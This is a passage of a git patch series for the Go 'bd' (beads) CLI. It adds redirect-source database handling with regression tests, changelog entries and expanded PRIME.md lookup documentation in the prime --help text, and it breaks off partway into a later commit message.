BEADS_DOLT_SERVER_DATABASE="ambient_source_db" ← correctly preserved Keying on Changed("db") suppresses that and reopens be-xil for `bd doctor --db `. TestDoctorPersistentPreRunBareDBNameStillPreserves- AmbientSourceDatabase pins it: with Changed("db") in the predicate it fails with `BEADS_DOLT_SERVER_DATABASE = "", want "ambient_source_db"`. (A free function referencing rootCmd also cannot compile here — it forms an initialization cycle through rootCmd's own PersistentPreRunE — so that variant would need cmd threaded through, as selectedNoDBBeadsDir does.) Addresses review of PR #5774 by bee-ghosttrack, item 2. * docs(changelog): record the redirect-source database fixes Both entries under Unreleased/Fixed: the be-xil preservation for no-DB commands, and the be-fyt explicit-target guard on top of it. Called out in review of PR #5774 by bee-ghosttrack as a non-blocking gap — this is a behavior change to bd doctor/bootstrap on every redirected workspace and was not recorded anywhere users read. * test(doctor): compare BEADS_DIR canonically so macOS passes CI caught this on macos-latest (the only failing check on this PR): doctor_context_test.go:376: BEADS_DIR = "/private/var/folders/.../ambient-shared/.beads", want "/var/folders/.../ambient-shared/.beads" Same directory. On macOS /var is a symlink to /private/var, so t.TempDir() hands back the /var form while the value under test is resolved through beads.FindBeadsDir() -> utils.CanonicalizePath, which runs EvalSymlinks. A raw string compare therefore fails on macOS and nowhere else. Both of the assertions added in this PR now canonicalize each side before comparing. Only my two are touched: the pre-existing sibling assertions reach BEADS_DIR via resolveCommandBeadsDir(dbPath), which does not EvalSymlinks, so they are unaffected and left alone rather than churned. Canonicalizing is a no-op where the path is already resolved, so this is symmetric and cannot mask a genuine mismatch — the assertion still fails if a different directory is selected. Verified utils.CanonicalizePath does resolve symlinks with a throwaway probe (symlink in, real path out). * docs(cli): correct the "cannot drift apart" claim, name the BEADS_DIR gap Review item 5 (round 2, PR #5774) is right and the claim in the code was wrong. explicitDBTargetGiven covers three routes; selectedNoDBBeadsDir honors a fourth — BEADS_DIR != "" -> beads.FindBeadsDir() (~line 551) — so the two predicates still disagree there, and the comment asserting they "cannot drift apart again" pointed a future reader at exactly the wrong conclusion. Reproduced before writing this, rather than taking the review's probe on faith. At this head, BEADS_TEST_SKIP=dolt, ambient repo git init-ed with an active redirect and BEADS_DIR naming an unrelated target: PROBE[git_repo]: BEADS_DIR=".../target/.beads" BEADS_DOLT_SERVER_DATABASE="ambient_source_db" <- leaked dbPath="" --- FAIL: .../git_repo --- PASS: .../plain_dir The plain_dir control passes, which pins the defect to the bd-wayc3 branch: GetRedirectInfo only reaches the ambient repo through findLocalBdsDirInRepo (internal/beads/beads.go:394), which keys off git.GetRepoRoot() alone. Every test in doctor_context_test.go builds a plain t.TempDir(), so the branch production always takes has no coverage — that is the second half of it. Comments only; no behavior change, and the gap is documented rather than closed here deliberately. Emptiness is the wrong test for it: BEADS_DIR pre-set to the redirect target is bd-wayc3's own case, where preservation is wanted, so the fix has to compare BEADS_DIR against the redirect target. That comparison, the git-repo fixture and the third test case are specified in be-bf75p with the probe source attached. gofmt/vet/build clean; go test ./cmd/bd/ -run 'TestDoctorPersistentPreRun|TestBootstrapPersistentPreRun' green. * chore: remove leaked internal release-gate doc from PR branch release-gates/be-27c-redirect-source-guard-gate.md Tracked our internal gc-management/beads-rig release-gate checklist and should never have been committed to this upstream branch -- it's process residue from our deploy tooling, not part of the change itself. Per maintainer bee-ghosttrack's request during review of PR #6571. The root cause (our deploy tooling auto-committing this file) is already fixed as of gm-qatxl1; this branch predates that fix, so this commit is cleanup only -- no other content on this branch is touched. Ref: be-lk7o3 --------- Co-authored-by: Eddie the Engineer Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 22 +++ cmd/bd/doctor_context_test.go | 256 ++++++++++++++++++++++++++++++++++ cmd/bd/main.go | 69 +++++++++ 3 files changed, 347 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index d920c7089..aee59b70d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,28 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **No-DB commands in a redirected workspace no longer lose the source + repo's `dolt_database`** (be-xil, be-fyt). `bd doctor`, `bootstrap`, + `context`, `dolt`, `init` and `version` skip store init, and the beads dir + they select is resolved through `beads.FindBeadsDir()`, which follows a + `.beads/redirect` internally. The source repo's configured database name was + therefore gone before anything could capture it, so `bd doctor` fell through + to the shared target directory's own default database and reported + `Dolt Schema: wrong database` — offering a `--fix` that would have repointed + the rig at an unrelated rig's store. The redirect source is now captured + before that resolution, matching the store-requiring path. +- **An explicit `--db`, `BEADS_DB` or `BD_DB` target is no longer shadowed by + the ambient repo's redirect-source database** (be-fyt). `beads.GetRedirectInfo()` + deliberately resolves from the CWD repo's local `.beads` regardless of + `--db`/`BEADS_DIR` (bd-wayc3), so when the ambient repo itself had an active + redirect, the preservation above re-opened the same "wrong database" failure + through a narrower door. Preservation is now skipped whenever the caller + named an explicit target, asking the same question `selectedNoDBBeadsDir` + asks so the two cannot drift apart. Note that a `--db` value naming a + *database* rather than a path is not an explicit *directory* target: it is + consumed only on the store-requiring path, the ambient workspace is still + what gets selected, and its source database is still preserved. + - **An ambient `BEADS_DOLT_SERVER_PORT` now marks a workspace externally managed — suppressing auto-start — and no longer stops bd reaping its own orphaned server** diff --git a/cmd/bd/doctor_context_test.go b/cmd/bd/doctor_context_test.go index 2774237f9..c4ba5d8cd 100644 --- a/cmd/bd/doctor_context_test.go +++ b/cmd/bd/doctor_context_test.go @@ -128,6 +128,262 @@ func TestDoctorPersistentPreRunUsesExplicitDBTarget(t *testing.T) { } } +// TestDoctorPersistentPreRunPreservesSourceDatabaseAcrossRedirect covers +// be-xil: bd doctor reported "Dolt Schema: wrong database" and offered a +// destructive --fix that would have repointed the rig at a different rig's +// store entirely. +// +// Root cause: selectedNoDBBeadsDir (used by doctor/bootstrap/context/dolt) +// resolves an ambient BEADS_DIR pointing at a redirect stub via +// beads.FindBeadsDir(), which always follows the redirect internally before +// returning. By the time prepareSelectedNoDBContext's own internal +// preserveRedirectSourceDatabase call sees a beadsDir, it's already the +// redirect TARGET (no redirect file of its own), so +// beads.ResolveRedirect never detects a redirect was followed and the +// source repo's configured dolt_database is silently never captured into +// BEADS_DOLT_SERVER_DATABASE. doctor's Dolt health checks resolve their own +// beadsDir independently (beads.ResolveBeadsDirForRepo, which also always +// follows the redirect) but still open the store via +// configfile.Config.GetDoltDatabase(), which checks BEADS_DOLT_SERVER_DATABASE +// before the loaded config's raw field — so this env var is the only thing +// standing between doctor and the shared target's own default database. +// +// The fix calls preserveRedirectSourceDatabase(beads.GetRedirectInfo().LocalDir) +// explicitly with the SOURCE dir before selectedNoDBBeadsDir resolves and +// loses that information; the function's own idempotency guard (early return +// once the env var is set) makes prepareSelectedNoDBContext's later internal +// call a harmless no-op. +func TestDoctorPersistentPreRunPreservesSourceDatabaseAcrossRedirect(t *testing.T) { + sourceRepo := filepath.Join(t.TempDir(), "source") + sourceBeadsDir := filepath.Join(sourceRepo, ".beads") + writeTestConfigYAML(t, sourceBeadsDir, "") + writeMetadataConfig(t, sourceBeadsDir, configfile.DoltModeServer, "source_db") + + targetBeadsDir := filepath.Join(t.TempDir(), "shared", ".beads") + writeTestConfigYAML(t, targetBeadsDir, "") + writeMetadataConfig(t, targetBeadsDir, configfile.DoltModeServer, "target_default_db") + + if err := os.WriteFile(filepath.Join(sourceBeadsDir, "redirect"), []byte(targetBeadsDir), 0o600); err != nil { + t.Fatalf("write redirect: %v", err) + } + + t.Chdir(sourceRepo) + t.Setenv("BEADS_DIR", sourceBeadsDir) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + savePersistentPreRunState(t) + + if err := rootCmd.PersistentPreRunE(doctorCmd, nil); err != nil { + t.Fatalf("PersistentPreRunE: %v", err) + } + + if got := os.Getenv("BEADS_DOLT_SERVER_DATABASE"); got != "source_db" { + t.Fatalf("BEADS_DOLT_SERVER_DATABASE = %q, want %q (source database lost across redirect — be-xil regression)", got, "source_db") + } +} + +// TestDoctorPersistentPreRunExplicitDBTargetOverridesAmbientRedirect covers +// be-fyt round 1: the be-xil fix above called preserveRedirectSourceDatabase +// unconditionally in the skipsStoreInit branch (main.go ~1168), unlike its +// dbPath-guarded sibling at ~1223. beads.GetRedirectInfo() always resolves +// from the ambient CWD repo's local .beads regardless of --db/BEADS_DIR +// (bd-wayc3), so when the ambient repo itself has an active redirect AND the +// caller passes an explicit --db target, the ambient repo's redirect-source +// database silently shadowed the explicit target's own configured database — +// reopening be-xil's exact "wrong database" failure mode via a narrower +// trigger. Neither TestDoctorPersistentPreRunUsesExplicitDBTarget (no +// ambient redirect) nor TestDoctorPersistentPreRunPreservesSourceDatabaseAcrossRedirect +// (no explicit --db target) exercises the combination; this test does. +func TestDoctorPersistentPreRunExplicitDBTargetOverridesAmbientRedirect(t *testing.T) { + ambientSourceDir := filepath.Join(t.TempDir(), "ambient-source") + ambientSourceBeadsDir := filepath.Join(ambientSourceDir, ".beads") + writeTestConfigYAML(t, ambientSourceBeadsDir, "") + writeMetadataConfig(t, ambientSourceBeadsDir, configfile.DoltModeServer, "ambient_source_db") + + ambientSharedBeadsDir := filepath.Join(t.TempDir(), "ambient-shared", ".beads") + writeTestConfigYAML(t, ambientSharedBeadsDir, "") + writeMetadataConfig(t, ambientSharedBeadsDir, configfile.DoltModeServer, "ambient_shared_default_db") + + if err := os.WriteFile(filepath.Join(ambientSourceBeadsDir, "redirect"), []byte(ambientSharedBeadsDir), 0o600); err != nil { + t.Fatalf("write redirect: %v", err) + } + + targetRepo := filepath.Join(t.TempDir(), "target") + targetBeadsDir := filepath.Join(targetRepo, ".beads") + writeTestConfigYAML(t, targetBeadsDir, "") + writeMetadataConfig(t, targetBeadsDir, configfile.DoltModeServer, "explicit_target_db") + + // Run from within the ambient repo, whose own .beads has an active + // redirect, while an explicit --db points at a wholly unrelated target. + t.Chdir(ambientSourceDir) + t.Setenv("BEADS_DIR", ambientSourceBeadsDir) + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + savePersistentPreRunState(t) + + targetDBPath := filepath.Join(targetBeadsDir, "dolt") + dbPath = targetDBPath + if flag := rootCmd.PersistentFlags().Lookup("db"); flag != nil { + flag.Changed = true + } + + if err := rootCmd.PersistentPreRunE(doctorCmd, nil); err != nil { + t.Fatalf("PersistentPreRunE: %v", err) + } + + if got := os.Getenv("BEADS_DOLT_SERVER_DATABASE"); got != "" { + t.Fatalf("BEADS_DOLT_SERVER_DATABASE = %q, want \"\" (ambient repo's redirect-source database leaked past an explicit --db target)", got) + } + if got := os.Getenv("BEADS_DIR"); got != targetBeadsDir { + t.Fatalf("BEADS_DIR = %q, want %q (explicit --db target)", got, targetBeadsDir) + } +} + +// TestDoctorPersistentPreRunExplicitEnvDBTargetOverridesAmbientRedirect covers +// the env-var half of the same guard. The --db sibling above delivers the +// explicit target through the flag, which populates dbPath; BEADS_DB and BD_DB +// do not. main.go:1002-1004 only falls back to the configured db when +// BEADS_DB, BD_DB and BEADS_DIR are all unset, so with BEADS_DB set and no +// --db flag, dbPath stays "" — a guard spelled `dbPath == ""` therefore reads +// "no explicit target" for a caller that gave a perfectly explicit one. +// selectedNoDBBeadsDir (main.go:519, :523) does honor BEADS_DB/BD_DB as +// explicit targets, so the two disagree: BEADS_DIR is correctly rebound to the +// explicit target while the ambient repo's redirect-source database is +// preserved into BEADS_DOLT_SERVER_DATABASE anyway — be-xil's "wrong database" +// failure mode, still live for two of the three targets the guard names. +func TestDoctorPersistentPreRunExplicitEnvDBTargetOverridesAmbientRedirect(t *testing.T) { + for _, tc := range []struct { + name string + envVar string + }{ + {name: "BEADS_DB", envVar: "BEADS_DB"}, + {name: "BD_DB", envVar: "BD_DB"}, + } { + t.Run(tc.name, func(t *testing.T) { + ambientSourceDir := filepath.Join(t.TempDir(), "ambient-source") + ambientSourceBeadsDir := filepath.Join(ambientSourceDir, ".beads") + writeTestConfigYAML(t, ambientSourceBeadsDir, "") + writeMetadataConfig(t, ambientSourceBeadsDir, configfile.DoltModeServer, "ambient_source_db") + + ambientSharedBeadsDir := filepath.Join(t.TempDir(), "ambient-shared", ".beads") + writeTestConfigYAML(t, ambientSharedBeadsDir, "") + writeMetadataConfig(t, ambientSharedBeadsDir, configfile.DoltModeServer, "ambient_shared_default_db") + + if err := os.WriteFile(filepath.Join(ambientSourceBeadsDir, "redirect"), []byte(ambientSharedBeadsDir), 0o600); err != nil { + t.Fatalf("write redirect: %v", err) + } + + targetRepo := filepath.Join(t.TempDir(), "target") + targetBeadsDir := filepath.Join(targetRepo, ".beads") + writeTestConfigYAML(t, targetBeadsDir, "") + writeMetadataConfig(t, targetBeadsDir, configfile.DoltModeServer, "explicit_target_db") + + // Run from within the ambient repo, whose own .beads has an active + // redirect. BEADS_DIR stays unset so the explicit target arrives + // solely through the env var under test. + t.Chdir(ambientSourceDir) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + savePersistentPreRunState(t) + + // Explicit target via env var, with the --db flag deliberately + // untouched: dbPath stays "" all the way into the guard. + t.Setenv("BEADS_DB", "") + t.Setenv("BD_DB", "") + t.Setenv(tc.envVar, filepath.Join(targetBeadsDir, "dolt")) + + if err := rootCmd.PersistentPreRunE(doctorCmd, nil); err != nil { + t.Fatalf("PersistentPreRunE: %v", err) + } + + if got := os.Getenv("BEADS_DOLT_SERVER_DATABASE"); got != "" { + t.Fatalf("BEADS_DOLT_SERVER_DATABASE = %q, want \"\" (ambient repo's redirect-source database leaked past an explicit %s target)", got, tc.envVar) + } + if got, want := utils.CanonicalizePath(os.Getenv("BEADS_DIR")), utils.CanonicalizePath(targetBeadsDir); got != want { + t.Fatalf("BEADS_DIR = %q, want %q (explicit %s target)", got, want, tc.envVar) + } + }) + } +} + +// TestDoctorPersistentPreRunBareDBNameStillPreservesAmbientSourceDatabase pins +// why explicitDBTargetGiven does not key on PersistentFlags().Changed("db"). +// +// A --db value that names a database rather than a path is moved to +// dbNameFromDBFlag and clears dbPath (main.go ~990), leaving Changed("db") +// true with dbPath == "". That value is consumed only on the store-requiring +// path (~1553, proxied-server mode), so on the no-DB path selectedNoDBBeadsDir +// finds no explicit directory target and falls through to beads.FindBeadsDir(), +// which follows the ambient repo's redirect. The selected workspace IS the +// ambient one, so the ambient source's dolt_database must still be preserved — +// exactly be-xil's fix. A guard that treated Changed("db") as "explicit target +// given" would suppress preservation here and reopen be-xil for +// `bd doctor --db ` in a redirected repo. +func TestDoctorPersistentPreRunBareDBNameStillPreservesAmbientSourceDatabase(t *testing.T) { + ambientSourceDir := filepath.Join(t.TempDir(), "ambient-source") + ambientSourceBeadsDir := filepath.Join(ambientSourceDir, ".beads") + writeTestConfigYAML(t, ambientSourceBeadsDir, "") + writeMetadataConfig(t, ambientSourceBeadsDir, configfile.DoltModeServer, "ambient_source_db") + + ambientSharedBeadsDir := filepath.Join(t.TempDir(), "ambient-shared", ".beads") + writeTestConfigYAML(t, ambientSharedBeadsDir, "") + writeMetadataConfig(t, ambientSharedBeadsDir, configfile.DoltModeServer, "ambient_shared_default_db") + + if err := os.WriteFile(filepath.Join(ambientSourceBeadsDir, "redirect"), []byte(ambientSharedBeadsDir), 0o600); err != nil { + t.Fatalf("write redirect: %v", err) + } + + t.Chdir(ambientSourceDir) + t.Setenv("BEADS_DIR", "") + t.Setenv("BEADS_DOLT_SHARED_SERVER", "") + t.Setenv("BEADS_DOLT_SERVER_DATABASE", "") + t.Setenv("BEADS_DOLT_SERVER_PORT", "") + + config.ResetForTesting() + t.Cleanup(config.ResetForTesting) + savePersistentPreRunState(t) + t.Setenv("BEADS_DB", "") + t.Setenv("BD_DB", "") + + // A valid identifier that does not exist as a path: main.go ~990 routes it + // to dbNameFromDBFlag and clears dbPath. + dbPath = "somebaredbname" + if flag := rootCmd.PersistentFlags().Lookup("db"); flag != nil { + flag.Changed = true + } + + if err := rootCmd.PersistentPreRunE(doctorCmd, nil); err != nil { + t.Fatalf("PersistentPreRunE: %v", err) + } + + if dbPath != "" { + t.Fatalf("dbPath = %q, want \"\" — precondition: a bare --db name must be moved off dbPath, otherwise this test no longer covers the Changed(\"db\")/dbPath==\"\" combination", dbPath) + } + // Compare canonicalized: this path is resolved through beads.FindBeadsDir(), + // which runs utils.CanonicalizePath (EvalSymlinks). On macOS t.TempDir() + // hands back /var/folders/... while the resolved form is /private/var/... — + // the same directory, so a raw string compare fails there and nowhere else. + if got, want := utils.CanonicalizePath(os.Getenv("BEADS_DIR")), utils.CanonicalizePath(ambientSharedBeadsDir); got != want { + t.Fatalf("BEADS_DIR = %q, want %q — precondition: a bare --db name selects no explicit directory, so the ambient redirect target must be chosen", got, want) + } + if got := os.Getenv("BEADS_DOLT_SERVER_DATABASE"); got != "ambient_source_db" { + t.Fatalf("BEADS_DOLT_SERVER_DATABASE = %q, want %q (be-xil regression: the ambient workspace was selected, so its redirect-source database must still be preserved — do not add Changed(\"db\") to explicitDBTargetGiven)", got, "ambient_source_db") + } +} + func TestBootstrapPersistentPreRunUsesExplicitDBTarget(t *testing.T) { callerRepo := filepath.Join(t.TempDir(), "caller") callerBeadsDir := filepath.Join(callerRepo, ".beads") diff --git a/cmd/bd/main.go b/cmd/bd/main.go index ca260ffca..b83c83f38 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -625,6 +625,36 @@ func preserveRedirectSourceDatabase(beadsDir string) { } } +// explicitDBTargetGiven reports whether the caller named an explicit database +// target that overrides the ambient workspace. These are the three routes the +// PR body for be-fyt names and that selectedNoDBBeadsDir below honors ahead of +// the ambient repo: a --db value that resolves to a path (which lands in +// dbPath), BEADS_DB, and BD_DB. +// +// Deliberately NOT keyed on PersistentFlags().Changed("db"). A --db value that +// names a *database* rather than a path is moved to dbNameFromDBFlag and +// clears dbPath (~line 990), and that value is consumed only on the +// store-requiring path (~line 1553). On the no-DB path selectedNoDBBeadsDir +// therefore falls through to the ambient workspace anyway, so the ambient +// redirect source's database must still be preserved for it. Keying on +// Changed("db") would suppress that and reopen be-xil for +// `bd doctor --db ` in a redirected repo; see +// TestDoctorPersistentPreRunBareDBNameStillPreservesAmbientSourceDatabase. +// +// KNOWN GAP (be-bf75p): selectedNoDBBeadsDir honors a fourth route this +// predicate does not — BEADS_DIR != "" -> beads.FindBeadsDir() (~line 551) — +// so a BEADS_DIR naming a foreign target still inherits the ambient repo's +// redirect-source database. Reproduces only inside a git repo, because +// GetRedirectInfo reaches the ambient repo through findLocalBdsDirInRepo +// (internal/beads/beads.go:394), which keys off git.GetRepoRoot() alone. +// Emptiness is the wrong test for it: BEADS_DIR pre-set *to the redirect +// target* is bd-wayc3's own case, where preservation is wanted, so the fix has +// to compare BEADS_DIR against the redirect target rather than check that it +// is unset. That comparison is be-bf75p's, not this PR's. +func explicitDBTargetGiven() bool { + return dbPath != "" || os.Getenv("BEADS_DB") != "" || os.Getenv("BD_DB") != "" +} + func selectedNoDBBeadsDir(cmd *cobra.Command) string { if cmd != nil && cmd.Root() != nil && cmd.Root().PersistentFlags().Changed("db") && dbPath != "" { if selectedBeadsDir := resolveCommandBeadsDir(dbPath); selectedBeadsDir != "" { @@ -1293,7 +1323,46 @@ var rootCmd = &cobra.Command{ // setup before they inspect server mode or per-project Dolt settings. // Rebind them to the selected workspace so explicit --db / BEADS_DB // targets behave consistently across doctor/bootstrap/context/dolt. + // + // Capture redirect info BEFORE selectedNoDBBeadsDir() resolves the + // beads dir, mirroring the store-requiring path below (be-xil): + // selectedNoDBBeadsDir() always returns the post-redirect target + // directory (every branch bottoms out in beads.FindBeadsDir() or a + // dbPath already resolved through it, both of which call + // FollowRedirect internally). Calling preserveRedirectSourceDatabase + // with that already-resolved target means beads.ResolveRedirect finds + // no redirect file there and silently never preserves the source's + // configured dolt_database — so doctor (and other no-DB commands) + // would fall through to the shared target directory's own default + // database instead of the source's, producing false "wrong database" + // diagnoses against an unrelated rig's schema. if skipsStoreInit { + // be-fyt round 1: only preserve when the caller did NOT name an + // explicit target. beads.GetRedirectInfo() always resolves from the + // ambient CWD repo's local .beads regardless of --db/BEADS_DIR + // (bd-wayc3), so calling it unconditionally let an explicit --db/ + // BEADS_DB/BD_DB target's own database be silently shadowed by the + // ambient repo's unrelated redirect-source database — reopening + // be-xil's failure mode via a narrower trigger. + // + // Round 2 (review of PR #5774): the guard was spelled `dbPath == ""`, + // but dbPath is populated from BEADS_DB/BD_DB only when those are + // *unset* (~line 1002), so both env routes slipped straight through + // a guard that claimed to cover them while selectedNoDBBeadsDir + // (~lines 519, 523) rebound BEADS_DIR to the explicit target — the + // two disagreed. explicitDBTargetGiven now covers all three of the + // routes that populate dbPath/BEADS_DB/BD_DB. + // + // It does NOT cover selectedNoDBBeadsDir's fourth route, BEADS_DIR + // (~line 551), so the two predicates still disagree there and a + // foreign BEADS_DIR target inherits the ambient repo's + // redirect-source database — inside a git repo only. Measured, not + // assumed; tracked and specified as be-bf75p. See the KNOWN GAP + // paragraph on explicitDBTargetGiven for why emptiness is the wrong + // test and what the fix has to compare instead. + if !explicitDBTargetGiven() { + preserveRedirectSourceDatabase(beads.GetRedirectInfo().LocalDir) + } beadsDir := selectedNoDBBeadsDir(cmd) prepareSelectedNoDBContext(beadsDir) refreshBoundCommandConfig(cmd) From 5e0a5b649dae51469ffc4d9b887394663dbd88ff Mon Sep 17 00:00:00 2001 From: Vishnu J Date: Wed, 30 Sep 2026 15:31:52 -0700 Subject: [PATCH 265/624] fix(prime): document all three PRIME.md fallback tiers in --help (#6275) * fix(prime): document all three PRIME.md fallback tiers in --help bd prime --help named a single PRIME.md location ("the local clone or resolved workspace"), which conflates the current-directory and resolved-workspace tiers and omits the global fallback entirely. readCustomPrimeContent checks three locations in order: .beads/PRIME.md relative to the current directory and PRIME.md in the workspace .beads directory (both introduced together in GH#876), then ~/.config/beads/PRIME.md (added for GH#2330). Users and agents had no way to discover that order from --help. Document all three tiers in lookup order: tier 1 is current-directory-relative, not clone-wide; tier 2 is the .beads directory bd resolves for this workspace (described by outcome, since FindBeadsDir has several resolution paths, most of which follow a redirect); tier 3 is the global config fallback. The lead-in notes that the lookup runs only once bd resolves a workspace, since runPrime returns before readCustomPrimeContent otherwise (emitting no content, or an empty --hook-json envelope). The single long help line becomes a short bullet list with no line longer than the surrounding text. Add TestPrimeHelpMentionsAllFallbackTiers, which asserts the tiers are documented and appear in their actual lookup order. Fixes gastownhall/beads#6095 Co-Authored-By: Claude Fable 5.1 * docs(prime): spell out per-OS user config dir for tier (3) in --help Follow-up to #6095 review on #6275 (bee-ghosttrack, MAJOR 1 + MAJOR 2). Tier (3) of the PRIME.md lookup order named ~/.config/beads/PRIME.md as the global path, but resolveGlobalPrimePath uses os.UserConfigDir(), which is ~/Library/Application Support on macOS (XDG_CONFIG_HOME is not consulted) and %AppData% on Windows. On those platforms the help text pointed users at a file bd never reads, reproducing the confusion #6095 exists to fix. Reword tier (3) to name the user config dir and list the Linux, macOS, and Windows spellings. TestPrimeHelpMentionsAllFallbackTiers no longer pins the Linux spelling as its tier-3 needle; it asserts the platform-neutral "user config dir" wording, checks that all three per-OS paths appear (the help text is static, so every spelling must be present), and includes the literal (1)/(2)/(3) labels in the ordering needles so that swapping only the labels fails. Docs-only: resolveGlobalPrimePath is unchanged; aligning its location with the ~/.config/beads credentials path is left for its own issue. Co-Authored-By: Claude Fable 5.1 * docs(prime): make the PRIME.md tier help accurate under -C Maintainer review fixes for #6275, review iteration 1. Both lanes and the quality scorecard returned approve with no required changes; this commit takes the two non-gating items, both text-only. Taken: - Contract & Interface Fidelity (minor, both lanes). Tier (1) is resolved against primeWorkspaceDir(), which returns the absolute -C target when -C is set (prime.go:281-289), so "relative to the current directory" was wrong under `bd -C dir prime`. And tier (2)'s "honors $BEADS_DIR" was imprecise: applyChangeDirSelection does os.Setenv("BEADS_DIR", resolveChangeDirBeadsDir( -C target)) (main.go:943-956) before the command runs, so an exported $BEADS_DIR is silently outranked by -C. Both amendments are help text only. Verified at source rather than taken from the finding. Note the review's suggested wording was written in markdown; the surrounding help text uses no backticks, so the amendment matches the block's own plain style. - Test Evidence Quality (nit, codex + claude). The comment claimed a label-only swap "still fails the ordering check below", but since the (N) label sits inside each needle such a swap drives every strings.Index to -1, which trips the presence t.Errorf while the ordering loop explicitly continues past -1. Reworded to name the assertion that actually catches it. As base drift already moved tier (1) under the -C target without updating base's own primeCmd.Long, the PR remains a strict improvement over base prose either way. Validation: gofmt clean, go build ./cmd/bd/ and CGO_ENABLED=1 go vet ./cmd/bd/ clean. TestPrimeHelpMentionsAllFallbackTiers still PASSES -- its three needles are prefixes of the amended lines, so the ordering pin is untouched. Under -run Prime: 61 PASS / 1 FAIL / 3 SKIP, and the single failure (TestPrimeBinaryPortfolio) is pre-existing host contention, proven by a control run at the unmodified head c9cfb3e416 which fails identically with the same cause ("cannot start dolt server on port ...: busy"). Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Gas City Adopt-PR --- cmd/bd/prime.go | 14 +++++++++++++- cmd/bd/prime_test.go | 45 ++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 58 insertions(+), 1 deletion(-) diff --git a/cmd/bd/prime.go b/cmd/bd/prime.go index bccb85bd9..2aed543ce 100644 --- a/cmd/bd/prime.go +++ b/cmd/bd/prime.go @@ -107,7 +107,19 @@ Config options: See docs/getting-started/ide-setup.md#policy-profiles for what each profile means. Workflow customization: - - Place a .beads/PRIME.md file in the local clone or resolved workspace to override the default workflow text. Persistent memories (from bd remember) are still appended so memory injection keeps working under a custom template. + - Place a PRIME.md file to override the default workflow text. Checked in this + order, once bd resolves a workspace (outside one, prime emits no content): + (1) .beads/PRIME.md relative to the current directory (the -C target + when -C is set); + (2) PRIME.md in the .beads directory bd resolves for this workspace + (honors $BEADS_DIR, which -C overrides; a redirected .beads is + followed); + (3) the global PRIME.md in bd's user config dir: + ~/.config/beads/ on Linux ($XDG_CONFIG_HOME/beads/ if set), + ~/Library/Application Support/beads/ on macOS, + %AppData%\beads\ on Windows. + - Persistent memories (from bd remember) are still appended so memory + injection keeps working under a custom template. - Use --export to dump the default content for customization. - Use --memories-only for hook contexts that should inject only persistent memories; this returns only the memories section even when a custom PRIME.md is present. - Use --no-memories to omit the persistent memories section (useful when the memories section is large and would dominate a context budget). --memories-only takes precedence if both are set. diff --git a/cmd/bd/prime_test.go b/cmd/bd/prime_test.go index 34a07defa..c953bfb7a 100644 --- a/cmd/bd/prime_test.go +++ b/cmd/bd/prime_test.go @@ -850,3 +850,48 @@ func TestPrime_RawMarkdown_NotJSON_WithoutFlag(t *testing.T) { t.Fatal("prime output without --hook-json should not be valid JSON (regression guard)") } } + +// GH#6095: bd prime --help must document all three PRIME.md resolution +// tiers (current-directory, resolved workspace .beads, global config) in +// their actual lookup order, not just the first tier. +func TestPrimeHelpMentionsAllFallbackTiers(t *testing.T) { + // Each needle carries its (N) label so that swapping only the labels, + // not the descriptions, is caught by the presence check below: the swap + // drives every strings.Index to -1, which the ordering loop explicitly + // skips. + needles := []string{ + "(1) .beads/PRIME.md relative to the current directory", + "(2) PRIME.md in the .beads directory bd resolves for this workspace", + "(3) the global PRIME.md in bd's user config dir", + } + positions := make([]int, len(needles)) + for i, needle := range needles { + pos := strings.Index(primeCmd.Long, needle) + if pos == -1 { + t.Errorf("prime help missing %q", needle) + } + positions[i] = pos + } + for i := 1; i < len(positions); i++ { + if positions[i-1] == -1 || positions[i] == -1 { + continue + } + if positions[i] <= positions[i-1] { + t.Errorf("prime help documents fallback tiers out of order: %q at %d should come before %q at %d", needles[i-1], positions[i-1], needles[i], positions[i]) + } + } + + // Tier (3) resolves via os.UserConfigDir(), whose location differs per + // platform. The help text is static, so it must spell out every OS's + // path rather than pinning one platform's spelling as if it were + // universal. + for _, configDirPath := range []string{ + "~/.config/beads/", + "~/Library/Application Support/beads/", + `%AppData%\beads\`, + } { + if !strings.Contains(primeCmd.Long, configDirPath) { + t.Errorf("prime help tier (3) missing user config dir path %q", configDirPath) + } + } +} From f005323431404464950797a509362db8e2440770 Mon Sep 17 00:00:00 2001 From: postoso Date: Wed, 30 Sep 2026 18:38:37 -0400 Subject: [PATCH 266/624] fix(cli): document that bd list --format exports the dependency graph (#5723) * fix(cli): document that bd list --format exports the dependency graph The --format help read "Output format: 'digraph' ..., 'dot' ..., or Go template", which reads like a per-issue rendering knob. It is not. Every non-dot format in outputFormattedList walks the dependency edges between the listed issues and renders one line per edge, so `bd list --format digraph` and `bd list --format '